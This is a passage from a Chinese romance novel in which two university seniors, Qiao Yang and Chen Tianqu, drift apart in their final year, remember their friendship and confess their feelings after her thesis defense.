枝叶遮挡了阳光,被风一吹还有些冷飕飕的,乔漾缩了缩肩膀,伸手挽住俞悦的胳膊。
“我走之前一起吃个饭啊。”俞悦对她说,“等我回来你也不在学校了。”
“是啊。”乔漾叹了声气,“好想茗姗学姐她们哦,一晃眼我都成学校里最老的人了。”
“嘿。”俞悦指着自己,“那我呢?”
乔漾笑着挽紧她:“你们研究生是另一个层级啦。”
新学期邝老师缺个学生助理,乔漾主动报了名,这样一来实习证明也有着落了,这个学期除了四月的专八考试,她只剩下两篇毕业论文要完成。
没了做不完的presentation,不用再上痛苦的早八,乔漾每天睡到自然醒,偶尔帮着邝老师监督一下学弟学妹们戏剧之夜的排练进度。
三月陆州春暖花开,出国前俞悦约她在学校附近的一家啤酒坊吃告别餐。
落座后俞悦翻开桌上的菜单,问乔漾:“你吃过这家吗?”
“刚开业的时候来过。”乔漾说,“那个时候有活动,朋友圈满三十个点赞送块提拉米苏。”
“黑松露火腿披萨,猪肋排……再点个小吃吧。”俞悦抬起头,“薯条?”
“好……”乔漾忽然顿住,思绪跌跌撞撞地回到被遗忘的某一个夜晚。
一年半前,同样的位置,坐在她对面的人是陈天衢。
“真的会送蛋糕吗?”乔漾朝左右两边看看,“要不你去问问?”
“你去吧。”
乔漾也脸皮薄,她目光瞄准桌上那盘刚端上桌的薯条,开口说:“那我们来玩个游戏。”
“什么游戏?”
乔漾紧盯着面前的盘子:“看谁先找到最长的那根薯条。”
陈天衢质疑说:“还有这样的游戏吗?”
“我跟夏灿小时候老这么玩。”乔漾和他解释,“那个时候大人每次带我们去吃肯德基,都要让我们自己去找柜台的店员要东西,说是锻炼社交能力,但我们俩都不想去,所以发明了这个游戏。”
陈天衢“哦”了一声,拿起手边的叉子戳中其中一根薯条,问她:“是不是这根?”
乔漾眼睁睁看着他把自己心仪的那根选走了,着急道:“我还没说开始呢!”
她眼睛一眨,又灵机一动道:“那就你去吧!”
陈天衢怔住:“不是说还没开始吗?”
乔漾一本正经地宣布:“恭喜你,你选中了最长的,所以你去吧。”
陈天衢无语一笑:“还带这样的?”
乔漾摊开手,耍赖皮耍得心安理得。
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“好吧。”陈天衢拿她没办法,抬起头看了看,叫住从桌边经过的服务员说,“你好,她有话想问你。”
“诶你。”乔漾没想到他还留了一手,只能朝服务员咧开嘴角笑了笑,鼓起勇气问,“你们这里是不是有免费的蛋糕可以送啊?”
“对,转发的朋友圈麻烦给我看一下。”
乔漾解锁屏幕把手机递过去,不忘狠狠瞪了桌对面低着头偷笑的人一眼。
原来她根本就没有资格因为这件事生夏灿的气。
店员端上两杯苹果西打,酸甜的果味占据上风,度数并不高,但精酿易醉。
乔漾捧起杯子喝了一口,被酒液冰得牙酸。
她揉了揉左边脸颊,有颗牙最近总是不太安分。
“牙疼啊?”
乔漾委屈巴巴地“嗯”了一声:“可能是长智齿了。”
“去附属医院挂个号呗。”俞悦说,“我上次就在那边拔的。”
“好。”乔漾放下手,回忆又如潮水般涌来。
有次她吃了学校门口卖的鲜切水果,在宿舍上吐下泻,泪提急性肠胃炎。
后面几天她跟辅修老师请了假,马上就是期末周,是陈天衢抽空帮她把书上的知识点过了一遍,也是他每天陪着她去附属医院挂水。
乔漾将冰凉的玻璃杯贴到脸侧,逼自己从回忆中抽离,总沉溺于过去可不是件好事。
手机屏幕亮起光,一看又是导师发来的信息,对话框里一长串的参考文献名单,乔漾哀嚎一声,仰头绝望道:“杀了我吧,怎么还有这么多文献要看?”
“毕业论文?”
“嗯。”乔漾把手机翻扣在桌上,决定还是眼不见心不烦,“关键是该死的辅修还有一篇论文等着我写。”
俞悦幸灾乐祸地笑笑,说:“慢慢熬吧,都这么过来的。”
服务员端上刚出炉的薄底披萨,乔漾戴上一次性手套,听到俞悦问她:“你写的文学还是社会学?”
“文学,犹豫了半天还是选了《呼啸山庄》,正好我之前大三的时候写过一篇小论文。”
“那你的主题是爱情?”
“算也不算,主要是讲情感和欲望之间的纠缠对立,老师让我再把研究方向抓得精细一点。”
“那跟我那篇有点像诶。”俞悦说,“我写的是杜拉斯的《情人》”
“真的吗?”乔漾两眼放光,连披萨也顾不上吃了,“大师,快跟我讲讲,我急需灵感。”
“我也记不太清了。”俞悦边回忆边说,“我的主题大概就是爱情的原发动机是欲望,爱和欲望是一体的,爱是本体,欲是表现,爱一个人无非就是占有欲、分享欲、窥探欲这些东西……”
俞悦说着说着就发现乔漾双目放空像是在神游,她敲敲桌子,故作严肃道:“大师的课上也敢开小差?”
乔漾眨眼回过神,摇了摇头,牵起唇角说:“没有,就是觉得被你这么一解构,爱情好庸俗。”
“本来就是庸俗的。”俞悦拿起手边的酒杯,“你没听过那句话吗?爱要么让人变成傻子,要么让人变成疯子。”
8. 日落时
四月的陆州迎来了一场漫长的雨季,火红热烈的木棉花一夜间落了满地。
雨过天晴的那场晚霞总是格外绚烂,天际被染成如梦似幻的粉紫色,美得让人恍惚。
辅修论文终于定下了终稿,法学院的老师说再修改一下格式就可以准备答辩了。
乔漾也终于有了闲情逸致坐在海滨公园的长椅上欣赏一场完整的日落。
游人来来往往,在昏暗的光线下化作一团团虚影。
乔漾放空大脑看向远方,在心里第一万次感叹,“真美啊”。
她从口袋里取出手机,将取景框对准远处,想要记录下这难得的景色。
光影交叠间海天一色,铺展绵延的紫色晚霞中揉杂着片片橘粉,这副画面不用添加任何滤镜就足够梦幻。
乔漾顺手打开微信,习惯性地想要将照片分享给某人,在按下发送键的一刻却犹豫了。
聊天框的最近一次对话是在半个月前,她问陈天衢:学校打印店还没开门,你们学院的文印室可以打印吗?
她是八点四十三分发送的消息,快中午的时候陈天衢才回复她,说:可以的,你跟那边的老师说一声就行。
那个时候她早就问了别人,也打印好了论文材料。
再往前就是寒假,她收到快递后和陈天衢在微信上道了声谢。
他同样隔了好几个小时才回复,让她不用客气。
乔漾一点点放平嘴角,没有继续未完成的动作,转而划动屏幕往上翻看过往的聊天记录。
在这四年里陈天衢是离她最近、最亲密的朋友。
系里的八卦、食堂的新菜、好天气下的海,学业、生活、人际关系……大大小小的琐事堆满了方框,她和他几乎无话不谈。
文学课的小论文乔漾不知道该如何落笔,就去问陈天衢有什么读后感想。
受母亲陈姝的影响,陈天衢早早就看遍了各国文学经典,乔漾说他简直比知网和百科还好使。
陈天衢问她:你不是看过《呼啸山庄》吗?
乔漾:看过啊,癫公癫婆,全员疯批。
陈天衢:哈哈哈哈哈哈哈哈
乔漾:不过男女主确实很有情感张力。
乔漾:我看的时候很喜欢那句
陈天衢:我爱他是因为他比我更像我自己?
乔漾:对!
陈天衢:那你要不就写这个?爱是理想化自我的投射。
乔漾:这么理解的吗?
陈天衢:你怎么理解的?
乔漾:爱是找到另一半的自己,凯瑟琳和希思克利夫是两个躯壳里的一个灵魂。
再往上翻,乔漾没忍住笑出了声。
期末周在图书馆复习到头昏脑胀之时她诗性大发,拿起手机洋洋洒洒打下数行字后发给陈天衢:
学习——
是精卫填海,是螳臂当车,
是大海捞针,是杯水车薪,
是捡了芝麻丢了西瓜,
是道高一尺魔高一丈,
是还没消化就已排泄的记忆面包。
他鼓掌称赞:好诗,好诗。
大二他们上同一门校选课,陈天衢将手机拿到桌下偷偷给她发消息:这老师长得好像远声。
乔漾说:真的诶,说话声音也像,泪目了。
她自认这段关系里他和她都保持得很好,心照不宣,不远不近,他们一直在一个对彼此都最舒服、最安全的状态里。
那到底是从哪里开始不对劲的?
为什么回忆起过去她身体的某块地方会一下一下地抽痛,好像失去了什么。
乔漾松开手指,不再往前看。
是上一个夏天。
他们法学院卷生卷死,陈天衢一边为激烈的竞争感到心累,一边又比谁都学得更狠。
保研和法考让他选择暑期留校,好像就是从那个时候开始,他们脱节了,错开了。
等陈天衢拿到推免名额可以松一口气的时候乔漾又在忙着秋招,那之后他们见面的次数屈指可数。
明明谁都站在原地没动,可交集就是越来越少,他们不知不觉就疏远了。
这个被无形之物拉开的距离不再舒服,也不再安全,至少对乔漾来说是的,以至于此刻她的分享欲也无处安放了起来。
分享欲……乔漾收紧呼吸。
俞悦说爱不过是分享欲、占有欲和窥探欲。
如果按照这套理论,那么分享欲check。
占有欲,在麦初的试探下水落石出,check。
窥探欲……如果没有她当初就不会打开那张该死的纸条。
CHECK
所以,综上所述。
“你怎么一个人……”
“啊!”手机在闭眼尖叫时从手中脱落摔在地上,乔漾呆愣愣地盯着仿佛凭空出现在身侧的人,脸都吓白了。
“没事吧?”陈天衢歉疚道,“我不是故意的。”
他弯腰想去捡地上的手机,乔漾却又突然活了,抢在他前面抓起手机丢进包里。
她拍着胸口给自己顺了顺气,心想你阿拉丁神灯啊,摸三下屏幕就能从手机里跳出来。
“就你一个人?”陈天衢问。
“嗯。”乔漾抱着包往旁边挪了挪,给他腾出一个座位,“你也来看日落?”
陈天衢在长椅上坐下,回答说:“不是,我刚下班,在公交车上看见你了。”
乔漾偏头看向他,正是晚高峰,马路上人潮拥挤,这儿离公交站台也不算近,她不明白他是怎么看见她的。
没等她细想下去,乔漾的视线又被男孩手中的花束夺走。
“你买花了啊?”
陈天衢低下头:“没。”
他下车没走两步怀里就被人塞了一小束蓝星花,而赠花的人留下一句“送你了”后骑着自行车扬长而去。
“应该是最后一束,老板看卖不出去就随机挑个幸运路人。”陈天衢将花递给乔漾,“给你。”
“还挺漂亮的。”乔漾用指腹轻轻碰了碰浅蓝色的花瓣,花上别了张卡片,她摘走拿到眼前。
“写的什么?”陈天衢问。
乔漾张开嘴,一字一句读给他听:“哦好中以雷。”
陈天衢被她蹩脚的粤语逗笑。
乔漾同样弯着嘴角,把卡片放了回去。
“晚饭吃了没啊?”
“还没。”陈天衢抬腕看了眼表,“我六点半还约了导师,不然这会儿都下不了班。”
乔漾说:“那你赶紧去食堂啊,已经六点了吧。”
“没事。”陈天衢把双手插进口袋里,抬头望向远方。
“坐会儿再走。”
夜幕即将来临,海滩上到处是举着相机的游人,乔漾重新将背靠着长椅,喃喃自语道:“今天的晚霞是漂亮得过分了。”
可是她再无心观赏,悄悄偏移目光看向身边的人
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,白色T恤外套了件衬衫,在黄昏晦暗的光下只能依稀看清一个轮廓。
这一刻太安静美好了,让她觉得不真实。
各种情绪揉杂在一起,胸口堵得慌,乔漾深呼吸又缓缓吐出,但于事无补。
“陈天衢。”
男孩的目光落在天际,轻轻“嗯”了一声。
“我最近变得有点奇怪。”
乔漾继续看着他,侧后方的位置看不到全部的侧脸,但足够安全能不让对方发现。
“患得患失的,还老是胡思乱想,也不知道该怎么办,我问了好多人,我觉得我可能是……”接下来的内容有些难以启齿,她收回目光看向别处,换了种语言好让它可以以一种更轻松的语调被送出口,“fall in love了?可能是。”
橘色的残阳一点一点被海面吞噬,陈天衢心脏下沉,耳边有一刻什么声音都听不见了。
他没有表现出慌乱、失落、难过,甚至他此刻的内心也算得上平静,好像早就知道确实会有这么一天。
是他掉以轻心了吗?
前段时间麦初提醒他“再憋下去小心人家跟别人跑了”,他信誓旦旦地说不会的。
因为他太清楚乔漾在大学里的生活圈子了,她们班一共四个男生,一个个子没她高,两个有女朋友,另一个性取向和她一致,除此之外她身边就没什么其他异性了,她也很少主动社交。
是他太掉以轻心了,是这四年他们太近了,以至于给了他一种会一直这样下去的错觉,以至于他发现他并没有自己想象中那般不想拥有,好像也做不到笑着祝福了。
打翻在心脏上的酸涩液体腐蚀啃咬着他。
不是慌乱,不是失落,不是难过,是嫉妒。
“谁?什么时候的事啊?”
他看着夕阳下的海,努力问得漫不经心。
没有听到回答,陈天衢转头看向乔漾,却不料四目相对,她靠在椅背上安静注视着他,不知已这样看了多久。
心脏失序跳动,他快要藏不住,想要开口再追问下去的时候乔漾扯开嘴角朝他笑了下,提醒他说:“快六点半了哦,你再不回去来不及了。”
陈天衢“哦”了一声,从椅子上站起身。
他想表现得若无其事,步子迈出去一半却还是不甘心,垂眸看向长椅上的人,说:“是陆大的吗?马上毕业了,好好考虑清楚再做决定。”
天色渐晚,他看不清乔漾的脸色僵了一瞬,他只听到她挥着手赶他走:“回去吧,你要迟到了。”
“你呢?”
海边昼夜温差大,风吹得有些冷,乔漾耸起肩膀摸了摸胳膊:“我再坐会儿。”
“好。”
残阳被海面吞没,海与天的边缘模糊不清,路灯亮起昏黄光芒。
“哈喽。”
乔漾循声抬起头。
长发女生将手中的衬衫递给她,说:“门口一个男生让我转交给你的。”
“谢谢。”乔漾伸手接过,“麻烦你了。”
她知道陈天衢已经走远,但还是朝身后看了眼。
这又算什么?乔漾气得想笑。
她更加想不通陈天衢为什么会问谁,他的态度客套疏离,给的建议客观诚恳。
她是不是还得说声谢谢?
乔漾用双手捧住脸,弓着腰将手肘磕在大腿上。
最坏最坏的结果就是,她想,年少的喜欢不作数,时间改变了太多事。
9. 下雨天
零点零分四十秒,宿舍楼准时熄了灯。
似厚毯闷头砸下的黑暗让陈天衢从愣怔中回过神,他眨了眨眼睛,视线重现聚焦,屏幕上的文档还停留在中英文摘要,他不知道发了多久的呆,本就宝贵的时间被尽数浪费。
辛宸离门最近,举着手机起身摁下墙壁上的开关,嘴里还在和队友交流:“别打龙了,中路直接一波。”
陈天衢回头朝另外两张桌子看了看,问:“他俩还没回来啊?”
“潇哥估计在自习室,杨铭川不会又在加班吧?”辛宸放下手机伸了个懒腰,“我洗澡去了,困死了。”
宿舍门开了又关,昏暗的环境加剧眼睛疲劳,陈天衢揉揉眉心叹了声气。
他今天的效率格外差,照这个进度下去他今晚又别想睡觉了。
电脑屏幕发出幽幽荧光,陈天衢从抽屉里取出电量充足的应急灯。
随着啪嗒一声响灯泡亮起白光,他忽然僵住,脑子里仿佛也跟着“叮——”了一声。
庆幸十三个小时的时差让这通来自凌晨的视频通话没有显得那样唐突和打扰。
不到十秒钟对方就接听了,屏幕上赫然出现一团暖色,陈天衢愣了下,将手机拿近了些,蹙着眉头发问:“你在……搞cos吗?”
“老娘在做酱香饼。”麦初新染了一个脏橘色的头发,为了做饭方便就随手在脑袋上扎了两个揪,乍一看是有些像某个游戏中的角色。
“酱香饼?”
“对啊。”麦初调转镜头给他展示,“我二手市场淘来的电饼铛,牛不牛?”
陈天衢点点头,面无表情地夸:“牛。”
麦初把手机放回支架上,问他:“你又在干嘛呢?挖地道?”
陈天衢抿了下唇,解释说:“宿舍熄灯了。”
“对哦,你那边都凌晨了吧?”麦初沾了点面粉继续揉面团,“大晚上的,找我有事啊?”
“乔漾最近有没有跟你说什么?”
陈天衢清楚看到麦初揉面的动作一顿,视线落在屏幕上方,像是在看弹出来的新消息,嘴里嘀咕:“你神机妙算啊老铁。”
“什么?”
“没什么。”麦初重新看向他,问,“怎么了吗?乔漾找你了?”
“今天回学校的时候碰到她了,她和我说她最近变得有点奇怪。”陈天衢缓了缓才继续开口,“我听她的意思,好像是有喜欢的人了。”
麦初一把握住手机把脸凑近屏幕,瞪着两只眼睛迫不及待道:“然后呢?”
“没然后,我问她是谁,她不告诉我。”陈天衢问麦初,“她有跟你提过吗?你们寒假不是见面了吗?”
麦初没回答他的问题,反而问他:“万一是你呢?”
陈天衢答得毫不犹豫:“不可能。”
麦初挑高眉毛:“为什么不可能?”
“她说最近。”陈天衢垂下视线,“我这半年过得人不人鬼不鬼,都没怎么见过她。”
“你这说的什么……”
麦初本来想说“你这说的什么蠢话”,但转念一想从陈天衢的视角来看好像确实如此,他不知道自己的心意已被知晓,加上两个人最近没怎么见面,所以怎么盘都盘不到自己头上。
好巧不巧,另一个当事人刚刚也给她发来了消息。
麦初低头掀起唇角,想想又觉得好笑。
感情的事一向是当局者迷,她在腰间的围裙上擦了擦手,只是意外这两个人居然也会犯这样的傻。
“那你觉得是谁?”她问陈天衢。
“我不知道。”陈天衢渐渐失去耐心,“到底是谁?你肯定知道。”
“我知道的也不多。”麦初拿起桌上的擀面杖,假装皱着眉头在思考,“好像挺优秀的。”
“多优秀?”
“也保上研了,据说个子挺高的,长得也不错。”
“多高?”
“一八三、一八四有的吧。”麦初煞有其事地点点头,“两个人志趣相投,可谓郎才女貌。”
她一抬头就看见陈天衢脸色阴沉,两眼不知道在看哪儿,一副失了魂的样子。
麦初憋住笑,问他:“你之前不是说你会笑着祝福吗?怎么不笑了?”
陈天衢的脸肉眼可见地更冷了。
“你说说你们土象男。”麦初叹了声气,“早干嘛去了?”
“她幸福就好。”陈天衢抬起手,作势要切断通话,“你继续做饼吧。”
“诶等等。”麦初叫住他,“你,你,这就完了?”
“那我能怎么办。”
“去争去抢啊。”说完麦初又觉得这话不太对劲,但她现在来不及多想。
陈天衢不可置信道:“你疯了还是我疯了?”
“怎么了?”麦初一只手插着腰,“诶陈天衢我要骂你了啊,你真性单恋啊?准备暗恋人家暗恋到死?”
陈天衢垂着眼没说话。
麦初缓和了些语气,说:“我知道每个人对爱情的理解不同,但我不明白,你怕什么呢?这两年乔漾身边除了你还有别的人吗?”
陈天衢自嘲一笑:“现在不就有了。”
麦初张了张嘴,后悔莫及,她挖坑给自己跳了。
但她也只能任由陈天衢先这么误会着,她不能替他们中的任何一个人做决定,有些话只有他们自己说出口了才算数。
“认识你们之前我没有朋友。”陈天衢说。
即使大学都快毕业了,他发现自己还是不太愿意提及那段不愉快的过去,只要回忆开一道口子,他就又会变成那个孤独的、不被看见的异类。
“你问我怕什么,我怕人心不足蛇吞象。”他告诉麦初,“我不能失去乔漾这个朋友,一点风险我都不愿意冒。”
麦初愣愣看着屏幕那头的人,陈天衢此刻的神情让她觉得陌生,眸光轻晃,像只淋了雨的动物,皮毛狼狈地打成结,脆弱得一碰就能碎。
“没事吧?我看你脸色有点差。”
“没事,我最近就这副死样。”白天的两杯咖啡让陈天衢心悸一晚上了,六个小时后他就又要起床上班,而手头还有导师发来的三篇文献没看完,也不知道谁说大四是最清闲的一年。
宿舍门发出响动,是晚归的舍友回来了。
陈天衢和对方打了声招呼,拿起手机出了门。
“可如果你真的内心坚定,为什么要来找我?”
旁人总是看得更清些,麦初知道陈天衢就是在死撑。
“我知道你不喜欢我们插手。”她对他说,“但是我接下来说的话你一定要好好想想,前前后后串起来想,知道了吗?”
陈天衢心一提,被她说得有些紧张:“你想说什么?”
蚊虫绕着灯泡飞舞,楼道里偶尔响起几声猫叫。
麦初以三倍速留下一句“乔漾早就知道你喜欢她了!”后果断挂了电话。
-
前一晚失眠到凌晨三点,乔漾第二天中午是被疼醒的。
整片牙龈一胀一胀地疼,她对着手机相机摸了摸发硬的那块下颌,被自己这幅蠢样子气得又哭又笑。
这下可容不得她再拖延,只能连滚带爬地下了床收拾东西去医院挂号。
左半边脸肿得张不开嘴,连带着说话也不利索,医生给她开了消炎药,她问几天能好,她周五要答辩。
“大什么?”
乔漾捧着脸,深呼吸一口气努力让自己口齿清晰一些:“论、文、答、辩!”
“哦。”医生笑起来,说,“你想快点好就挂水吧,吃药肯定见效慢。”
“好吧。”
医生又说天气暖和起来了,人容易上火,让她注意饮食和作息。
今天是工作日,输液室里人不多。
医院里总是有种让人浑身发寒的气味,乔漾左手插着针,找了个光线好的位置坐下。
窗外树枝随风摇晃,她从口袋里取出手机。
微信列表里好几条未读消息,她跳过那些无关紧要的,直接打开了麦初的聊天框。
昨晚乔漾问她:陈天衢是不是已经move on了?
麦初后来回复她:谁告诉你的?
乔漾想说她自己感觉出来的,可一只手不方便打字,嘴也张不太开发不了语音。
手机很快响起低电量提示,出来得太急也没顾得上拿充电宝,她把手机塞回衣服兜里,决定先不去管了。
阳光暖而不燥,晒得人想眯起眼睛,乔漾一只手撑着脑袋,用脚尖踩地上的光斑玩。
也是长大了,她想,都能一个人看医生了。
周五那天陆州又淅淅沥沥地下起了小雨。
回南天已经结束,这场雨大概也不会持续太久。
乔漾把托特包抱在怀里,一路朝着法学院狂奔。
虽然早早就起了床,但半个小时前她发现ppt上一处错误,等火急火燎地改完重新导进U盘里,出门还是晚了。
刘海湿成一绺一绺,水珠滴落在眼皮上,乔漾抬高肩膀重新检查了一遍包里打印好的论文,确认它们都完好无损。
“乔漾。”
乔漾抬起
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头往后看,陈天衢侧着身子,站在离她几步远处。
她才发现自己刚刚竟然就这样和他擦肩而过了。
“我……”乔漾指了下楼上,“我来答辩。”
陈天衢说:“加油。”
乔漾朝他笑了下,随口问:“你今天不上班啊?”
“嗯。”陈天衢把手伸进口袋,摸出一包餐巾纸递给她,“擦擦头发。”
“谢谢。”乔漾拿了就走,“我上去了啊,我要迟到了。”
陈天衢点了点头。
两个人之间的气氛还是变得有些不尴不尬,陈天衢不会觉得她刚刚是故意无视他的吧。
乔漾加快脚步上了楼梯,晃晃脑袋告诉自己不要分心。
答辩组的老师们没有太为难他们这些非法学本专业的学生,乔漾按照顺序排在第三个,逐字稿早就烂熟于心,等她配合PPT将论文的各个部分讲解完,老师们也只问了几个常规问题,提醒她还有哪些部分可以深入探讨。
“好的,那乔漾同学的论文答辩就结束了,下一个同学做好准备。”
乔漾长舒一口气,抱着自己的东西走下讲台。
“乔漾。”班里的同学喊她名字,问,“等会一起去吃饭吗?庆祝一下。”
“好啊。”乔漾把包背到肩上,“那我先回去放东西。”
同学朝她比了个“OK”:“晚点校门口见。”
乔漾轻轻关上教室门,了却心头一件大事,脚步都轻快了起来。
她挂在嘴角的笑容在走下楼梯的一瞬间凝固。
乔漾放慢脚步,抬手理了理刘海。
她努力调动情绪,找回之前两个人相处时的状态,扬起微笑拍了下对方的肩膀,问:“怎么还在这儿?”
陈天衢摘掉耳机,将手里的伞举高了些:“结束了?这么快。”
“老师没问我什么很难的问题。”乔漾站到他伞下,把包往肩上提了提。
“走吧,去食堂还是出去吃?”
“不了,同学说要聚餐,我回宿舍放东西。”
“哦,好。”陈天衢说,“那我送你回去。”
雨丝细而密,还没到下课时间,校园里空旷安宁。
乔漾低头看着脚下的路,一路走过来两个人都没说话,耳边只有雨滴沿着树叶滴落在伞面的声响。
到底是她先憋不住,开了口问:“那天你是不是被我吓到了?”
“还好。”
乔漾扯开一个微笑:“其实我自己也被吓到了,怕跟你再也没办法做朋友了。”
手腕忽然被攥住,她紧急停步,被人带着往回拽了一把。
心脏弹高又下坠,乔漾慌张地问:“怎么了?”
“你说什么?”陈天衢没有松手,紧盯着她问,“什么叫怕跟我没办法做朋友了?”
“我……”
雨势渐大,天边闷雷作响,陈天衢大脑空白,又在眨眼间一通百通。
我最近变得很奇怪。
患得患失,还老是胡思乱想。
我可能是fall in love 了。
万一是你呢?
也保上研了,据说个子挺高的。
一八三、一八四有的吧。
乔漾早就知道你喜欢她了。
他喉结滚动,颤抖着呼吸出声问:“你是什么时候知道的?”
“那你是什么时候开始的?”
陈天衢落下睫毛没有回答,乔漾撇了撇嘴角,眼眶不知为何泛起了红。
那时候她怀疑过自己自作多情,也许是随手瞎写的,那个数字毫无意义。
可除此以外呢?就像今天,从口袋里递过来的餐巾纸,等在门口为她打起的伞。
这几年里这样的微小瞬间有太多太多,他的心不浓烈也不炽热,悠长静默,温暖踏实,藏于每一个细微之处。
以前算她不开窍,现在乔漾清清楚楚地感知着,真真切切地被包裹着。
她稳住情绪,一鼓作气说:“我不知道你有没有同样的感觉,大四以后我们都很忙,忙得渐行渐远。所以如果你是害怕失去我才一直不敢告诉我,那么陈天衢,我也一样,我也害怕失去你,可我正在失去你。”
雾气迷蒙,乔漾双眼湿漉漉的,这样直白而赤忱地看着自己。
“不会的。”陈天衢倾斜伞柄靠她更近。
“我也不知道是从什么时候开始的。”他终于说出口,“过去太久了。”
——“反正在我意识到这件事的时候,我就已经很喜欢、很喜欢你了。”
10. 便签纸
乔漾弯着眼睛,笑意一点一点满溢从来,低了下头说:“你早该告诉我的。”
陈天衢点点头,把手里的伞递给她拿,然后上前一步,整个人像是脱力了一般俯下身将脑袋靠在乔漾肩上。
他瘦归瘦,但一米八几的个子这么结结实实地落下来,乔漾差点没站稳,努力挺直腰问:“怎么啦?”
“缓一下。”
乔漾不知该哭还是笑,一只手举高伞,另一只手在他背上拍了拍:“你还好吧?”
陈天衢懒懒应了一声,昨天刚结束实习,今早又被辅导员喊来学院办事,外加乱糟糟的心事,他这三天的睡眠时间加起来都不一定有八个小时。
他的头发蹭着脖子上的皮肤,乔漾想挠又挠不到,胳膊也举得快酸了。
她动了动肩膀,问:“去吃饭吧?我饿了。”
陈天衢重新睁开眼,直起腰从她手里接过伞:“你不是约了同学?”
“我也可以放他们鸽子啊。”乔漾回答得理直气壮。
陈天衢翘起嘴角:“别,你去吧,快毕业了,多和同学聚聚,以后就没什么机会见面了。”
“那你呢?”
“回去睡觉。”再不好好补一觉他真怕自己过劳死。
“也行。”
两个人并肩继续往前走,乔漾伸手挽住他的胳膊。
这一个动作轻而自然,陈天衢不动声色地瞥了一眼臂弯处。
“那你明天晚上有空吗?”乔漾出声问。
“明天是不是周六了?”
“对。”
“应该有。”
乔漾笑起来:“那我给你留张票,明天晚上是我们院的戏剧之夜。”
“今年演什么?”
“莎翁的《仲夏夜之梦》。”
“你演赫米娅?”
“我才不演,我算半个指导老师,我们宿舍的学妹演仙后。”乔漾抱住陈天衢的胳膊晃了晃,“来嘛来嘛,帮我们撑撑场面。”
“好。”陈天衢笑着答应。
以前觉得学校挺大的,今天好像没走几步路就到宿舍楼下了。
“那我走了。”乔漾松开手,“拜拜。”
“伞拿去。”
乔漾摁回他要递过来的伞:“不用,我跑几步就行,你快回去吧,好好睡一觉。”
“嗯。”陈天衢乖乖点头,“那明天见。”
“明天见。”
乔漾刷卡打开铁门,一路小跑到屋檐下,她忍住想回头的冲动,忽然间又有些说不上来的迷茫。
他们这算是谈上了吗?
怎么陈天衢看起来还挺平静的。
等那道身影消失在楼梯口,陈天衢才收回目光转身迈步。
也不知道是大脑哪根筋搭错了,这一迈他左脚绊右脚,腿一软差点整个人栽下去,把身后的骑手小哥吓一大跳,心想自己也没撞到人啊,怎么重点大学里还有碰瓷的。
两个人对视一眼,见对方警惕地上下打量他,陈天衢又不知道哪根筋搭错了,指了下楼上解释说:“我送女朋友。”
骑手小哥愣了愣,也跟着举了下手里的包装袋,回话说:“我送外卖。”
在一场充足的睡眠过后,陈天衢睁着眼发了好一会儿的呆。
他最近浑浑噩噩过得跟游魂一样,昨天,还是今天,他是跟乔漾表白,然后他们……
是吧?
宿舍里光线昏暗,他坐起身拉开床帘,底下只有辛宸坐在电脑面前。
陈天衢撑了下昏沉的脑袋,摸到手机点开微信。
除了各种公众号推送,消息列表里空空如也。
“醒了啊?”辛宸听到动静,摘下耳机回头看了他一眼。
陈天衢回了声“嗯”,已经八点了,再不去食堂就没饭吃了。
他放下手机,将被子叠好,踩着楼梯下床。
辛宸起身开灯,告诉他:“乔漾让我给你带点东西,放你桌上了啊。”
陈天衢脚步一顿:“什么东西?”
“你自己看呗。”
最后两级台阶他算得上是连滚带爬。
桌子上放着一束花和一块小蛋糕,陈天衢心脏猛跳了下,刚清醒过来的大脑又发昏了。
几枝白色桔梗被蓝星花包围,乔漾在里头放了张便签纸,他俩的字迹很像,高中的时候她还拿自己的作业帮他交过差,不过女孩的字总是更秀气工整一些。
她写:还是得补一个,么么!
背上被不明物体猛烈撞击,辛宸从喉间发出一声闷哼,手指撞上键盘敲了一串乱码。
他又惊又吓,问紧紧搂着自己脖子的男人:“你干嘛?”
“谢谢你。”陈天衢情真意切道。
辛宸拎着两条胳膊不能动弹,张口回答:“……不客气?”
陈天衢温柔询问:“我吃饭去了,你饿吗?要不要给你带夜宵?”
“那你帮我带份肠粉,牛肉的。”辛宸想抬手去拿校园卡。
“不用。”陈天衢松开手,“我下楼了,马上回来。”
等他出了宿舍辛宸还没回过神来,同窗四载他就没见过比陈天衢还淡的人。
问他怎么样总说都可以,问他要资料总说马上发你,人多的时候永远是最安静的那个,没见他生过谁的气也没见他有特别激动的时候,情绪阈值总是维持在一个固定而狭窄的范围内。
就连他拿到东华政法的推免资格好像也没多开心,不是那种藏着掖着的偷乐,那天辛宸亲眼看着他点完接受后长叹一口气合上电脑,然后躺上床一觉睡到天黑,往后几天也还是那副可以说平淡如水也可以说是死气沉沉的样子。
“送束花就行吗?”辛宸将文档里的乱码删除干净,暗自嘀咕,“也太好哄了。”
-
外院戏剧之夜的演出从七点开始,乔漾尽职尽责,一起床就过来帮忙了。
快五点的时候陈天衢问她吃饭了没,她有些馋食堂的猪扒包,让他打包一份带来。
离开场还早,礼堂的观众席空空荡荡,剧组的工作人员都在后台忙碌。
陈天衢挤不进去,只能站在门口往里张望一圈,并没有看到乔漾的身影,给她发的消息也没回。
“你在找乔漾学姐吗?”
陈天衢偏头看去,是个戴着白金色假发的女孩在和他说话。
“对。”
“姐好像在二楼总控台那边。”女孩给他指了个方向,“从这边楼梯上去。”
“好,谢谢啊。”陈天衢迈出去半步,回过头奇怪道,“你认识我?”
女孩睫毛扑闪,也怕自己认错人了,向他确认道:“你是法学院的那个吧?专业第一?跟姐一个高中的?”
三句话没说错也不完全正确,陈天衢张了张嘴,不知道该怎么回答:“呃…….”
“提泰妮娅呢,过来戴麦啦!”
“来了来了。”女孩提起戏服裙摆,留下一句“拜拜姐夫”就小跑着过去了。
“姐……”陈天衢转身提起一口气,告诉自己冷静,冷静。
提泰妮娅,剧本里的仙后,原来她就是乔漾宿舍里新来的学妹。
陈天衢走出去几步又停下,四下无人,他背靠着墙,低下头的一瞬间唇角高高扬起。
楼道里响起说话声,他立刻站直,连带收走脸上所有表情,还欲盖弥彰地咳嗽了声。
二楼安静多了,陈天衢从侧边过道绕到舞台对面,一路往总控台走。
他隔着老远就看到了乔漾,女孩穿着统一的文化衫,长发用红格子发圈绑成一个松松垮垮的丸子头,正一只手撑着桌面在和灯光师沟通。
外院每年都会举办戏剧之夜,各个语系轮流表演经典剧目。
乔漾之前就是文娱部的,帮着办过院里的大型晚会,这次有她帮忙盯着,邝予茉索性撒开手,让学生们全权负责,从剧本到舞台布置都由他们自行操办。
